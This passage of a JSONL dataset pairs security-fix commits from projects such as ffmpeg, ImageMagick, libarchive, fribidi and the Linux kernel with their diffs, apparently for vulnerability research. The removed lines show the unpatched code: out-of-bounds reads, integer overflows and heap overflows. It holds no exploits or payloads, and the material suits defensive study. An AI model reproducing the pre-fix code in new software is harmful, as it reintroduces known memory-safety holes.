0);\n+\tassertFileMode(\"dir\", 0700);\n+\tassertFileMode(\"file\", 0600);\n #endif\n }", "related": false}]} +{"owner": "libarchive", "repo": "libarchive", "language": "C", "file_name": "libarchive/archive_disk_acl_linux.c", "commit_id": "fba4f123cc456d2b2538f811bb831483bf336bad", "commit_message": "Fix handling of symbolic link ACLs\n\nOn Linux ACLs on symbolic links are not supported.\nWe must avoid calling acl_set_file() on symbolic links as their\ntargets are modified instead.\n\nWhile here, do not try to set default ACLs on non-directories.\n\nFixes #1565", "patch": "@@ -343,6 +343,11 @@ set_richacl(struct archive *a, int fd, const char *name,\n \t\treturn (ARCHIVE_FAILED);\n \t}\n \n+\tif (S_ISLNK(mode)) {\n+\t\t/* Linux does not support RichACLs on symbolic links */\n+\t\treturn (ARCHIVE_OK);\n+\t}\n+\n \trichacl = richacl_alloc(entries);\n \tif (richacl == NULL) {\n \t\tarchive_set_error(a, errno,\n@@ -455,7 +460,7 @@ set_richacl(struct archive *a, int fd, const char *name,\n #if ARCHIVE_ACL_LIBACL\n static int\n set_acl(struct archive *a, int fd, const char *name,\n- struct archive_acl *abstract_acl,\n+ struct archive_acl *abstract_acl, __LA_MODE_T mode,\n int ae_requested_type, const char *tname)\n {\n \tint\t\t acl_type = 0;\n@@ -488,6 +493,18 @@ set_acl(struct archive *a, int fd, const char *name,\n \t\treturn (ARCHIVE_FAILED);\n \t}\n \n+\tif (S_ISLNK(mode)) {\n+\t\t/* Linux does not support ACLs on symbolic links */\n+\t\treturn (ARCHIVE_OK);\n+\t}\n+\n+\tif (acl_type == ACL_TYPE_DEFAULT && !S_ISDIR(mode)) {\n+\t\terrno = EINVAL;\n+\t\tarchive_set_error(a, errno,\n+\t\t \"Cannot set default ACL on non-directory\");\n+\t\treturn (ARCHIVE_WARN);\n+\t}\n+\n \tacl = acl_init(entries);\n \tif (acl == (acl_t)NULL) {\n \t\tarchive_set_error(a, errno,\n@@ -727,14 +744,14 @@ archive_write_disk_set_acls(struct archive *a, int fd, const char *name,\n \t & ARCHIVE_ENTRY_ACL_TYPE_POSIX1E) != 0) {\n \t\tif ((archive_acl_types(abstract_acl)\n \t\t & ARCHIVE_ENTRY_ACL_TYPE_ACCESS) != 0) {\n-\t\t\tret = set_acl(a, fd, name, abstract_acl,\n+\t\t\tret = set_acl(a, fd, name, abstract_acl, mode,\n \t\t\t ARCHIVE_ENTRY_ACL_TYPE_ACCESS, \"access\");\n \t\t\tif (ret != ARCHIVE_OK)\n \t\t\t\treturn (ret);\n \t\t}\n \t\tif ((archive_acl_types(abstract_acl)\n \t\t & ARCHIVE_ENTRY_ACL_TYPE_DEFAULT) != 0)\n-\t\t\tret = set_acl(a, fd, name, abstract_acl,\n+\t\t\tret = set_acl(a, fd, name, abstract_acl, mode,\n \t\t\t ARCHIVE_ENTRY_ACL_TYPE_DEFAULT, \"default\");\n \t}\n #endif\t/* ARCHIVE_ACL_LIBACL */", "sections": [{"section": "@@ -343,6 +343,11 @@ set_richacl(struct archive *a, int fd, const char *name,\n \t\treturn (ARCHIVE_FAILED);\n \t}\n \n+\tif (S_ISLNK(mode)) {\n+\t\t/* Linux does not support RichACLs on symbolic links */\n+\t\treturn (ARCHIVE_OK);\n+\t}\n+\n \trichacl = richacl_alloc(entries);\n \tif (richacl == NULL) {\n \t\tarchive_set_error(a, errno,\n", "related": false}, {"section": "@@ -455,7 +460,7 @@ set_richacl(struct archive *a, int fd, const char *name,\n #if ARCHIVE_ACL_LIBACL\n static int\n set_acl(struct archive *a, int fd, const char *name,\n- struct archive_acl *abstract_acl,\n+ struct archive_acl *abstract_acl, __LA_MODE_T mode,\n int ae_requested_type, const char *tname)\n {\n \tint\t\t acl_type = 0;\n", "related": false}, {"section": "@@ -488,6 +493,18 @@ set_acl(struct archive *a, int fd, const char *name,\n \t\treturn (ARCHIVE_FAILED);\n \t}\n \n+\tif (S_ISLNK(mode)) {\n+\t\t/* Linux does not support ACLs on symbolic links */\n+\t\treturn (ARCHIVE_OK);\n+\t}\n+\n+\tif (acl_type == ACL_TYPE_DEFAULT && !S_ISDIR(mode)) {\n+\t\terrno = EINVAL;\n+\t\tarchive_set_error(a, errno,\n+\t\t \"Cannot set default ACL on non-directory\");\n+\t\treturn (ARCHIVE_WARN);\n+\t}\n+\n \tacl = acl_init(entries);\n \tif (acl == (acl_t)NULL) {\n \t\tarchive_set_error(a, errno,\n", "related": false}, {"section": "@@ -727,14 +744,14 @@ archive_write_disk_set_acls(struct archive *a, int fd, const char *name,\n \t & ARCHIVE_ENTRY_ACL_TYPE_POSIX1E) != 0) {\n \t\tif ((archive_acl_types(abstract_acl)\n \t\t & ARCHIVE_ENTRY_ACL_TYPE_ACCESS) != 0) {\n-\t\t\tret = set_acl(a, fd, name, abstract_acl,\n+\t\t\tret = set_acl(a, fd, name, abstract_acl, mode,\n \t\t\t ARCHIVE_ENTRY_ACL_TYPE_ACCESS, \"access\");\n \t\t\tif (ret != ARCHIVE_OK)\n \t\t\t\treturn (ret);\n \t\t}\n \t\tif ((archive_acl_types(abstract_acl)\n \t\t & ARCHIVE_ENTRY_ACL_TYPE_DEFAULT) != 0)\n-\t\t\tret = set_acl(a, fd, name, abstract_acl,\n+\t\t\tret = set_acl(a, fd, name, abstract_acl, mode,\n \t\t\t ARCHIVE_ENTRY_ACL_TYPE_DEFAULT, \"default\");\n \t}\n #endif\t/* ARCHIVE_ACL_LIBACL */", "related": false}]} +{"owner": "upx", "repo": "upx", "language": "C++", "file_name": "src/p_lx_elf.cpp", "commit_id": "eb90eab6325d009004ffb155e3e33f22d4d3ca26", "commit_message": "Detect bogus DT_SYMENT.\n\nhttps://github.com/upx/upx/issues/331\n\tmodified: p_lx_elf.cpp", "patch": "@@ -1614,9 +1614,17 @@ PackLinuxElf32::invert_pt_dynamic(Elf32_Dyn const *dynp)\n unsigned const z_sym = dt_table[Elf32_Dyn::DT_SYMENT];\n unsigned const sz_sym = !z_sym ? sizeof(Elf32_Sym)\n : get_te32(&dynp0[-1+ z_sym].d_val);\n+ if (sz_sym < sizeof(Elf32_Sym)) {\n+ char msg[50]; snprintf(msg, sizeof(msg),\n+ \"bad DT_SYMENT %x\", sz_sym);\n+ throwCantPack(msg);\n+ }\n if (v_sym < v_str) {\n symnum_end = (v_str - v_sym) / sz_sym;\n }\n+ if (symnum_end < 1) {\n+ throwCantPack(\"bad DT_SYMTAB\");\n+ }\n }\n // DT_HASH often ends at DT_SYMTAB\n unsigned const v_hsh = elf_unsigned_dynamic(Elf32_Dyn::DT_HASH);\n@@ -5104,9 +5112,17 @@ PackLinuxElf64::invert_pt_dynamic(Elf64_Dyn const *dynp)\n unsigned const z_sym = dt_table[Elf64_Dyn::DT_SYMENT];\n unsigned const sz_sym = !z_sym ? sizeof(Elf64_Sym)\n : get_te64(&dynp0[-1+ z_sym].d_val);\n+ if (sz_sym < sizeof(Elf64_Sym)) {\n+ char msg[50]; snprintf(msg, sizeof(msg),\n+ \"bad DT_SYMENT %x\", sz_sym);\n+ throwCantPack(msg);\n+ }\n if (v_sym < v_str) {\n symnum_end = (v_str - v_sym) / sz_sym;\n }\n+ if (symnum_end < 1) {\n+ throwCantPack(\"bad DT_SYMTAB\");\n+ }\n }\n // DT_HASH often ends at DT_SYMTAB\n unsigned const v_hsh = elf_unsigned_dynamic(Elf64_Dyn::DT_HASH);", "sections": [{"section": "@@ -1614,9 +1614,17 @@ PackLinuxElf32::invert_pt_dynamic(Elf32_Dyn const *dynp)\n unsigned const z_sym = dt_table[Elf32_Dyn::DT_SYMENT];\n unsigned const sz_sym = !z_sym ? sizeof(Elf32_Sym)\n : get_te32(&dynp0[-1+ z_sym].d_val);\n+ if (sz_sym < sizeof(Elf32_Sym)) {\n+ char msg[50]; snprintf(msg, sizeof(msg),\n+ \"bad DT_SYMENT %x\", sz_sym);\n+ throwCantPack(msg);\n+ }\n if (v_sym < v_str) {\n symnum_end = (v_str - v_sym) / sz_sym;\n }\n+ if (symnum_end < 1) {\n+ throwCantPack(\"bad DT_SYMTAB\");\n+ }\n }\n // DT_HASH often ends at DT_SYMTAB\n unsigned const v_hsh = elf_unsigned_dynamic(Elf32_Dyn::DT_HASH);\n", "related": false}, {"section": "@@ -5104,9 +5112,17 @@ PackLinuxElf64::invert_pt_dynamic(Elf64_Dyn const *dynp)\n unsigned const z_sym = dt_table[Elf64_Dyn::DT_SYMENT];\n unsigned const sz_sym = !z_sym ? sizeof(Elf64_Sym)\n : get_te64(&dynp0[-1+ z_sym].d_val);\n+ if (sz_sym < sizeof(Elf64_Sym)) {\n+ char msg[50]; snprintf(msg, sizeof(msg),\n+ \"bad DT_SYMENT %x\", sz_sym);\n+ throwCantPack(msg);\n+ }\n if (v_sym < v_str) {\n symnum_end = (v_str - v_sym) / sz_sym;\n }\n+ if (symnum_end < 1) {\n+ throwCantPack(\"bad DT_SYMTAB\");\n+ }\n }\n // DT_HASH often ends at DT_SYMTAB\n unsigned const v_hsh = elf_unsigned_dynamic(Elf64_Dyn::DT_HASH);", "related": false}]} +{"owner": "paulej", "repo": "aescrypt", "language": "C", "file_name": "Linux/src/aescrypt.h", "commit_id": "68761851b595e96c68c3f46bfc21167e72c6a22c", "commit_message": "Fixed security issue with passwords entered via a prompt", "patch": "@@ -1,7 +1,7 @@\n /*\n * aescrypt.h\n *\n- * Copyright (C) 2007-2017\n+ * Copyright (C) 2007-2022\n *\n * This software is licensed as \"freeware.\" Permission to distribute\n * this software in source and binary forms is hereby granted without a\n@@ -20,7 +20,8 @@\n #include \"aes.h\"\n #include \"sha256.h\"\n \n-typedef struct {\n+typedef struct\n+{\n char aes[3];\n unsigned char version;\n unsigned char last_block_size;", "sections": [{"section": "@@ -1,7 +1,7 @@\n /*\n * aescrypt.h\n *\n- * Copyright (C) 2007-2017\n+ * Copyright (C) 2007-2022\n *\n * This software is licensed as \"freeware.\" Permission to distribute\n * this software in source and binary forms is hereby granted without a\n", "related": false}, {"section": "@@ -20,7 +20,8 @@\n #include \"aes.h\"\n #include \"sha256.h\"\n \n-typedef struct {\n+typedef struct\n+{\n char aes[3];\n unsigned char version;\n unsigned char last_block_size;", "related": false}]} +{"owner": "ffmpeg", "repo": "ffmpeg", "language": "C", "file_name": "libavformat/mov.c", "commit_id": "6f53f0d09ea4c9c7f7354f018a87ef840315207d", "commit_message": "avformat/mov: Check count sums in build_open_gop_key_points()\n\nFixes: ffmpeg.md\nFixes: Out of array access\nFixes: CVE-2022-2566\n\nFound-by: Andy Nguyen \nFound-by: 3pvd <3pvd@google.com>\nReviewed-by: Andy Nguyen \nSigned-off-by: Michael Niedermayer \n(cherry picked from commit c953baa084607dd1d84c3bfcce3cf6a87c3e6e05)\nSigned-off-by: Michael Niedermayer ", "patch": "@@ -3949,8 +3949,11 @@ static int build_open_gop_key_points(AVStream *st)\n \n /* Build an unrolled index of the samples */\n sc->sample_offsets_count = 0;\n- for (uint32_t i = 0; i < sc->ctts_count; i++)\n+ for (uint32_t i = 0; i < sc->ctts_count; i++) {\n+ if (sc->ctts_data[i].count > INT_MAX - sc->sample_offsets_count)\n+ return AVERROR(ENOMEM);\n sc->sample_offsets_count += sc->ctts_data[i].count;\n+ }\n av_freep(&sc->sample_offsets);\n sc->sample_offsets = av_calloc(sc->sample_offsets_count, sizeof(*sc->sample_offsets));\n if (!sc->sample_offsets)\n@@ -3969,8 +3972,11 @@ static int build_open_gop_key_points(AVStream *st)\n /* Build a list of open-GOP key samples */\n sc->open_key_samples_count = 0;\n for (uint32_t i = 0; i < sc->sync_group_count; i++)\n- if (sc->sync_group[i].index == cra_index)\n+ if (sc->sync_group[i].index == cra_index) {\n+ if (sc->sync_group[i].count > INT_MAX - sc->open_key_samples_count)\n+ return AVERROR(ENOMEM);\n sc->open_key_samples_count += sc->sync_group[i].count;\n+ }\n av_freep(&sc->open_key_samples);\n sc->open_key_samples = av_calloc(sc->open_key_samples_count, sizeof(*sc->open_key_samples));\n if (!sc->open_key_samples)\n@@ -3981,6 +3987,8 @@ static int build_open_gop_key_points(AVStream *st)\n if (sg->index == cra_index)\n for (uint32_t j = 0; j < sg->count; j++)\n sc->open_key_samples[k++] = sample_id;\n+ if (sg->count > INT_MAX - sample_id)\n+ return AVERROR_PATCHWELCOME;\n sample_id += sg->count;\n }\n ", "sections": [{"section": "@@ -3949,8 +3949,11 @@ static int build_open_gop_key_points(AVStream *st)\n \n /* Build an unrolled index of the samples */\n sc->sample_offsets_count = 0;\n- for (uint32_t i = 0; i < sc->ctts_count; i++)\n+ for (uint32_t i = 0; i < sc->ctts_count; i++) {\n+ if (sc->ctts_data[i].count > INT_MAX - sc->sample_offsets_count)\n+ return AVERROR(ENOMEM);\n sc->sample_offsets_count += sc->ctts_data[i].count;\n+ }\n av_freep(&sc->sample_offsets);\n sc->sample_offsets = av_calloc(sc->sample_offsets_count, sizeof(*sc->sample_offsets));\n if (!sc->sample_offsets)\n", "related": false}, {"section": "@@ -3969,8 +3972,11 @@ static int build_open_gop_key_points(AVStream *st)\n /* Build a list of open-GOP key samples */\n sc->open_key_samples_count = 0;\n for (uint32_t i = 0; i < sc->sync_group_count; i++)\n- if (sc->sync_group[i].index == cra_index)\n+ if (sc->sync_group[i].index == cra_index) {\n+ if (sc->sync_group[i].count > INT_MAX - sc->open_key_samples_count)\n+ return AVERROR(ENOMEM);\n sc->open_key_samples_count += sc->sync_group[i].count;\n+ }\n av_freep(&sc->open_key_samples);\n sc->open_key_samples = av_calloc(sc->open_key_samples_count, sizeof(*sc->open_key_samples));\n if (!sc->open_key_samples)\n", "related": false}, {"section": "@@ -3981,6 +3987,8 @@ static int build_open_gop_key_points(AVStream *st)\n if (sg->index == cra_index)\n for (uint32_t j = 0; j < sg->count; j++)\n sc->open_key_samples[k++] = sample_id;\n+ if (sg->count > INT_MAX - sample_id)\n+ return AVERROR_PATCHWELCOME;\n sample_id += sg->count;\n }\n ", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick", "language": "C", "file_name": "coders/tiff.c", "commit_id": "30ccf9a0da1f47161b5935a95be854fe84e6c2a2", "commit_message": "squash heap-buffer-overflow, PoC TIFF from Hardik", "patch": "@@ -1892,7 +1892,7 @@ static Image *ReadTIFFImage(const ImageInfo *image_info,\n /*\n Convert stripped TIFF image.\n */\n- extent=4*(samples_per_pixel+1)*TIFFStripSize(tiff);\n+ extent=4*((image->depth+7)/8)*(samples_per_pixel+1)*TIFFStripSize(tiff);\n strip_pixels=(unsigned char *) AcquireQuantumMemory(extent,\n sizeof(*strip_pixels));\n if (strip_pixels == (unsigned char *) NULL)", "sections": [{"section": "@@ -1892,7 +1892,7 @@ static Image *ReadTIFFImage(const ImageInfo *image_info,\n /*\n Convert stripped TIFF image.\n */\n- extent=4*(samples_per_pixel+1)*TIFFStripSize(tiff);\n+ extent=4*((image->depth+7)/8)*(samples_per_pixel+1)*TIFFStripSize(tiff);\n strip_pixels=(unsigned char *) AcquireQuantumMemory(extent,\n sizeof(*strip_pixels));\n if (strip_pixels == (unsigned char *) NULL)", "related": false}]} +{"owner": "rizinorg", "repo": "rizin", "language": "C", "file_name": "librz/bin/format/luac/luac_common.h", "commit_id": "05bbd147caccc60162d6fba9baaaf24befa281cd", "commit_message": "Fix oob read on _luac_build_info and luac memleaks", "patch": "@@ -193,6 +193,7 @@ void luac_add_entry(RzList *entry_list, ut64 offset, int entry_type);\n void luac_add_string(RzList *string_list, char *string, ut64 offset, ut64 size);\n \n LuacBinInfo *luac_build_info(LuaProto *proto);\n+void luac_build_info_free(LuacBinInfo *bin_info);\n void _luac_build_info(LuaProto *proto, LuacBinInfo *info);\n \n /* ========================================================", "sections": [{"section": "@@ -193,6 +193,7 @@ void luac_add_entry(RzList *entry_list, ut64 offset, int entry_type);\n void luac_add_string(RzList *string_list, char *string, ut64 offset, ut64 size);\n \n LuacBinInfo *luac_build_info(LuaProto *proto);\n+void luac_build_info_free(LuacBinInfo *bin_info);\n void _luac_build_info(LuaProto *proto, LuacBinInfo *info);\n \n /* ========================================================", "related": false}]} +{"owner": "fribidi", "repo": "fribidi", "language": "C", "file_name": "lib/fribidi-char-sets-cap-rtl.c", "commit_id": "a1ccd5ecf61110db0b1f4988842fab0df3a5de01", "commit_message": "Fix the heap buffer overflow in fribidi_cap_rtl_to_unicode\n\nCapRTL charset is represented in ASCII range 1-127.\nbut an input to caprtl_to_unicode may be possibly more than that.\n\nAddressSanitizer reports this like:\n=================================================================\n==1223446==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6150000002fc at pc 0x7fb94f3409fc bp 0x7ffca618\n7190 sp 0x7ffca6187188\nREAD of size 4 at 0x6150000002fc thread T0\n #0 0x7fb94f3409fb in fribidi_cap_rtl_to_unicode ../lib/fribidi-char-sets-cap-rtl.c:235\n #1 0x402bda in main ../bin/fribidi-main.c:403\n #2 0x7fb94f15d58f in __libc_start_call_main (/lib64/libc.so.6+0x2d58f)\n #3 0x7fb94f15d648 in __libc_start_main_impl (/lib64/libc.so.6+0x2d648)\n #4 0x403714 in _start (/tmp/fribidi/build/bin/fribidi+0x403714)\n\n0x6150000002fc is located 4 bytes to the left of 512-byte region [0x615000000300,0x615000000500)\nallocated by thread T0 here:\n #0 0x7fb94f41d81f in __interceptor_malloc (/lib64/libasan.so.8+0xba81f)\n #1 0x7fb94f340025 in init_cap_rtl ../lib/fribidi-char-sets-cap-rtl.c:87\n #2 0x7fb94f3409e0 in fribidi_cap_rtl_to_unicode ../lib/fribidi-char-sets-cap-rtl.c:180\n #3 0x402bda in main ../bin/fribidi-main.c:403\n #4 0x7fb94f15d58f in __libc_start_call_main (/lib64/libc.so.6+0x2d58f)\n\nSo such input needs to be ignored.\n\nThis fixes https://github.com/fribidi/fribidi/issues/182", "patch": "@@ -232,7 +232,12 @@ fribidi_cap_rtl_to_unicode (\n \t }\n \t}\n else\n-\tus[j++] = caprtl_to_unicode[(int) s[i]];\n+\t{\n+\t if (s[i] >= 0 && s[i] < CAPRTL_CHARS)\n+\t us[j++] = caprtl_to_unicode[(int) s[i]];\n+\t else\n+\t us[j++] = s[i];\n+\t}\n }\n \n return j;", "sections": [{"section": "@@ -232,7 +232,12 @@ fribidi_cap_rtl_to_unicode (\n \t }\n \t}\n else\n-\tus[j++] = caprtl_to_unicode[(int) s[i]];\n+\t{\n+\t if (s[i] >= 0 && s[i] < CAPRTL_CHARS)\n+\t us[j++] = caprtl_to_unicode[(int) s[i]];\n+\t else\n+\t us[j++] = s[i];\n+\t}\n }\n \n return j;", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/netfilter/nf_tables_api.c", "commit_id": "e02f0d3970404bfea385b6edb86f2d936db0ea2b", "commit_message": "netfilter: nf_tables: disallow binding to already bound chain\n\nUpdate nft_data_init() to report EINVAL if chain is already bound.\n\nFixes: d0e2c7de92c7 (\"netfilter: nf_tables: add NFT_CHAIN_BINDING\")\nReported-by: Gwangun Jung \nSigned-off-by: Pablo Neira Ayuso ", "patch": "@@ -9711,6 +9711,8 @@ static int nft_verdict_init(const struct nft_ctx *ctx, struct nft_data *data,\n \t\t\treturn PTR_ERR(chain);\n \t\tif (nft_is_base_chain(chain))\n \t\t\treturn -EOPNOTSUPP;\n+\t\tif (nft_chain_is_bound(chain))\n+\t\t\treturn -EINVAL;\n \t\tif (desc->flags & NFT_DATA_DESC_SETELEM &&\n \t\t chain->flags & NFT_CHAIN_BINDING)\n \t\t\treturn -EINVAL;", "sections": [{"section": "@@ -9711,6 +9711,8 @@ static int nft_verdict_init(const struct nft_ctx *ctx, struct nft_data *data,\n \t\t\treturn PTR_ERR(chain);\n \t\tif (nft_is_base_chain(chain))\n \t\t\treturn -EOPNOTSUPP;\n+\t\tif (nft_chain_is_bound(chain))\n+\t\t\treturn -EINVAL;\n \t\tif (desc->flags & NFT_DATA_DESC_SETELEM &&\n \t\t chain->flags & NFT_CHAIN_BINDING)\n \t\t\treturn -EINVAL;", "related": false}]} +{"owner": "softmotions", "repo": "iowow", "language": "C", "file_name": "src/json/iwjson.c", "commit_id": "a79d31e4cff1d5a08f665574b29fd885897a28fd", "commit_message": "* Fixed Github Vulnerability Report GHSL-2022-066", "patch": "@@ -26,7 +26,7 @@ static void _jbn_add_item(JBL_NODE parent, JBL_NODE node);\n \n void iwjson_ftoa(long double val, char buf[static IWNUMBUF_SIZE], size_t *out_len) {\n // TODO: review\n- int len = snprintf(buf, 64, \"%.8Lf\", val);\n+ int len = snprintf(buf, IWNUMBUF_SIZE, \"%.8Lf\", val);\n if (len <= 0) {\n buf[0] = '\\0';\n *out_len = 0;", "sections": [{"section": "@@ -26,7 +26,7 @@ static void _jbn_add_item(JBL_NODE parent, JBL_NODE node);\n \n void iwjson_ftoa(long double val, char buf[static IWNUMBUF_SIZE], size_t *out_len) {\n // TODO: review\n- int len = snprintf(buf, 64, \"%.8Lf\", val);\n+ int len = snprintf(buf, IWNUMBUF_SIZE, \"%.8Lf\", val);\n if (len <= 0) {\n buf[0] = '\\0';\n *out_len = 0;", "related": false}]} +{"owner": "pjsip", "repo": "pjproject", "language": "C", "file_name": "pjmedia/src/pjmedia/transport_srtp.c", "commit_id": "d2acb9af4e27b5ba75d658690406cec9c274c5cc", "commit_message": "Merge pull request from GHSA-wx5m-cj97-4wwg", "patch": "@@ -1531,13 +1531,14 @@ static void srtp_rtp_cb(pjmedia_tp_cb_param *param)\n \tpjmedia_srtp_crypto tx, rx;\n \tpj_status_t status;\n \n+\ttx = srtp->tx_policy;\n+\trx = srtp->rx_policy;\n+\n \t/* Stop SRTP first, otherwise srtp_start() will maintain current\n \t * roll-over counter.\n \t */\n \tpjmedia_transport_srtp_stop((pjmedia_transport*)srtp);\n \n-\ttx = srtp->tx_policy;\n-\trx = srtp->rx_policy;\n \tstatus = pjmedia_transport_srtp_start((pjmedia_transport*)srtp,\n \t\t\t\t\t &tx, &rx);\n \tif (status != PJ_SUCCESS) {", "sections": [{"section": "@@ -1531,13 +1531,14 @@ static void srtp_rtp_cb(pjmedia_tp_cb_param *param)\n \tpjmedia_srtp_crypto tx, rx;\n \tpj_status_t status;\n \n+\ttx = srtp->tx_policy;\n+\trx = srtp->rx_policy;\n+\n \t/* Stop SRTP first, otherwise srtp_start() will maintain current\n \t * roll-over counter.\n \t */\n \tpjmedia_transport_srtp_stop((pjmedia_transport*)srtp);\n \n-\ttx = srtp->tx_policy;\n-\trx = srtp->rx_policy;\n \tstatus = pjmedia_transport_srtp_start((pjmedia_transport*)srtp,\n \t\t\t\t\t &tx, &rx);\n \tif (status != PJ_SUCCESS) {", "related": false}]} +{"owner": "jsummers", "repo": "imageworsener", "language": "C", "file_name": "src/imagew-jpeg.c", "commit_id": "b45cb1b665a14b0175b9cb1502ef7168e1fe0d5d", "commit_message": "Fixed invalid memory access bugs when decoding JPEG Exif data\n\nFixes issues #22, #23, #24, #25", "patch": "@@ -58,6 +58,18 @@ struct iw_exif_state {\n \tsize_t d_len;\n };\n \n+static unsigned int get_exif_ui16(struct iw_exif_state *e, unsigned int pos)\n+{\n+\tif(e->d_len<2 || pos>e->d_len-2) return 0;\n+\treturn iw_get_ui16_e(&e->d[pos], e->endian);\n+}\n+\n+static unsigned int get_exif_ui32(struct iw_exif_state *e, unsigned int pos)\n+{\n+\tif(e->d_len<4 || pos>e->d_len-4) return 0;\n+\treturn iw_get_ui32_e(&e->d[pos], e->endian);\n+}\n+\n // Try to read an Exif tag into an integer.\n // Returns zero on failure.\n static int get_exif_tag_int_value(struct iw_exif_state *e, unsigned int tag_pos,\n@@ -66,17 +78,17 @@ static int get_exif_tag_int_value(struct iw_exif_state *e, unsigned int tag_pos,\n \tunsigned int field_type;\n \tunsigned int value_count;\n \n-\tfield_type = iw_get_ui16_e(&e->d[tag_pos+2],e->endian);\n-\tvalue_count = iw_get_ui32_e(&e->d[tag_pos+4],e->endian);\n+\tfield_type = get_exif_ui16(e, tag_pos+2);\n+\tvalue_count = get_exif_ui32(e, tag_pos+4);\n \n \tif(value_count!=1) return 0;\n \n \tif(field_type==3) { // SHORT (uint16)\n-\t\t*pv = iw_get_ui16_e(&e->d[tag_pos+8],e->endian);\n+\t\t*pv = get_exif_ui16(e, tag_pos+8);\n \t\treturn 1;\n \t}\n \telse if(field_type==4) { // LONG (uint32)\n-\t\t*pv = iw_get_ui32_e(&e->d[tag_pos+8],e->endian);\n+\t\t*pv = get_exif_ui32(e, tag_pos+8);\n \t\treturn 1;\n \t}\n \n@@ -93,8 +105,8 @@ static int get_exif_tag_dbl_value(struct iw_exif_state *e, unsigned int tag_pos,\n \tunsigned int value_pos;\n \tunsigned int numer, denom;\n \n-\tfield_type = iw_get_ui16_e(&e->d[tag_pos+2],e->endian);\n-\tvalue_count = iw_get_ui32_e(&e->d[tag_pos+4],e->endian);\n+\tfield_type = get_exif_ui16(e, tag_pos+2);\n+\tvalue_count = get_exif_ui32(e, tag_pos+4);\n \n \tif(value_count!=1) return 0;\n \n@@ -103,12 +115,12 @@ static int get_exif_tag_dbl_value(struct iw_exif_state *e, unsigned int tag_pos,\n \t// A rational is 8 bytes. Since 8>4, it is stored indirectly. First, read\n \t// the location where it is stored.\n \n-\tvalue_pos = iw_get_ui32_e(&e->d[tag_pos+8],e->endian);\n+\tvalue_pos = get_exif_ui32(e, tag_pos+8);\n \tif(value_pos > e->d_len-8) return 0;\n \n \t// Read the actual value.\n-\tnumer = iw_get_ui32_e(&e->d[value_pos ],e->endian);\n-\tdenom = iw_get_ui32_e(&e->d[value_pos+4],e->endian);\n+\tnumer = get_exif_ui32(e, value_pos);\n+\tdenom = get_exif_ui32(e, value_pos+4);\n \tif(denom==0) return 0;\n \n \t*pv = ((double)numer)/denom;\n@@ -125,15 +137,15 @@ static void iwjpeg_scan_exif_ifd(struct iwjpegrcontext *rctx,\n \tunsigned int v;\n \tdouble v_dbl;\n \n-\tif(ifd<8 || ifd>e->d_len-18) return;\n+\tif(ifd<8 || e->d_len<18 || ifd>e->d_len-18) return;\n \n-\ttag_count = iw_get_ui16_e(&e->d[ifd],e->endian);\n+\ttag_count = get_exif_ui16(e, ifd);\n \tif(tag_count>1000) return; // Sanity check.\n \n \tfor(i=0;i e->d_len) return; // Avoid overruns.\n-\t\ttag_id = iw_get_ui16_e(&e->d[tag_pos],e->endian);\n+\t\ttag_id = get_exif_ui16(e, tag_pos);\n \n \t\tswitch(tag_id) {\n \t\tcase 274: // 274 = Orientation\n@@ -177,7 +189,7 @@ static void iwjpeg_scan_exif(struct iwjpegrcontext *rctx,\n \n \te.endian = d[0]=='I' ? IW_ENDIAN_LITTLE : IW_ENDIAN_BIG;\n \n-\tifd = iw_get_ui32_e(&d[4],e.endian);\n+\tifd = get_exif_ui32(&e, 4);\n \n \tiwjpeg_scan_exif_ifd(rctx,&e,ifd);\n }", "sections": [{"section": "@@ -58,6 +58,18 @@ struct iw_exif_state {\n \tsize_t d_len;\n };\n \n+static unsigned int get_exif_ui16(struct iw_exif_state *e, unsigned int pos)\n+{\n+\tif(e->d_len<2 || pos>e->d_len-2) return 0;\n+\treturn iw_get_ui16_e(&e->d[pos], e->endian);\n+}\n+\n+static unsigned int get_exif_ui32(struct iw_exif_state *e, unsigned int pos)\n+{\n+\tif(e->d_len<4 || pos>e->d_len-4) return 0;\n+\treturn iw_get_ui32_e(&e->d[pos], e->endian);\n+}\n+\n // Try to read an Exif tag into an integer.\n // Returns zero on failure.\n static int get_exif_tag_int_value(struct iw_exif_state *e, unsigned int tag_pos,\n", "related": false}, {"section": "@@ -66,17 +78,17 @@ static int get_exif_tag_int_value(struct iw_exif_state *e, unsigned int tag_pos,\n \tunsigned int field_type;\n \tunsigned int value_count;\n \n-\tfield_type = iw_get_ui16_e(&e->d[tag_pos+2],e->endian);\n-\tvalue_count = iw_get_ui32_e(&e->d[tag_pos+4],e->endian);\n+\tfield_type = get_exif_ui16(e, tag_pos+2);\n+\tvalue_count = get_exif_ui32(e, tag_pos+4);\n \n \tif(value_count!=1) return 0;\n \n \tif(field_type==3) { // SHORT (uint16)\n-\t\t*pv = iw_get_ui16_e(&e->d[tag_pos+8],e->endian);\n+\t\t*pv = get_exif_ui16(e, tag_pos+8);\n \t\treturn 1;\n \t}\n \telse if(field_type==4) { // LONG (uint32)\n-\t\t*pv = iw_get_ui32_e(&e->d[tag_pos+8],e->endian);\n+\t\t*pv = get_exif_ui32(e, tag_pos+8);\n \t\treturn 1;\n \t}\n \n", "related": false}, {"section": "@@ -93,8 +105,8 @@ static int get_exif_tag_dbl_value(struct iw_exif_state *e, unsigned int tag_pos,\n \tunsigned int value_pos;\n \tunsigned int numer, denom;\n \n-\tfield_type = iw_get_ui16_e(&e->d[tag_pos+2],e->endian);\n-\tvalue_count = iw_get_ui32_e(&e->d[tag_pos+4],e->endian);\n+\tfield_type = get_exif_ui16(e, tag_pos+2);\n+\tvalue_count = get_exif_ui32(e, tag_pos+4);\n \n \tif(value_count!=1) return 0;\n \n", "related": false}, {"section": "@@ -103,12 +115,12 @@ static int get_exif_tag_dbl_value(struct iw_exif_state *e, unsigned int tag_pos,\n \t// A rational is 8 bytes. Since 8>4, it is stored indirectly. First, read\n \t// the location where it is stored.\n \n-\tvalue_pos = iw_get_ui32_e(&e->d[tag_pos+8],e->endian);\n+\tvalue_pos = get_exif_ui32(e, tag_pos+8);\n \tif(value_pos > e->d_len-8) return 0;\n \n \t// Read the actual value.\n-\tnumer = iw_get_ui32_e(&e->d[value_pos ],e->endian);\n-\tdenom = iw_get_ui32_e(&e->d[value_pos+4],e->endian);\n+\tnumer = get_exif_ui32(e, value_pos);\n+\tdenom = get_exif_ui32(e, value_pos+4);\n \tif(denom==0) return 0;\n \n \t*pv = ((double)numer)/denom;\n", "related": false}, {"section": "@@ -125,15 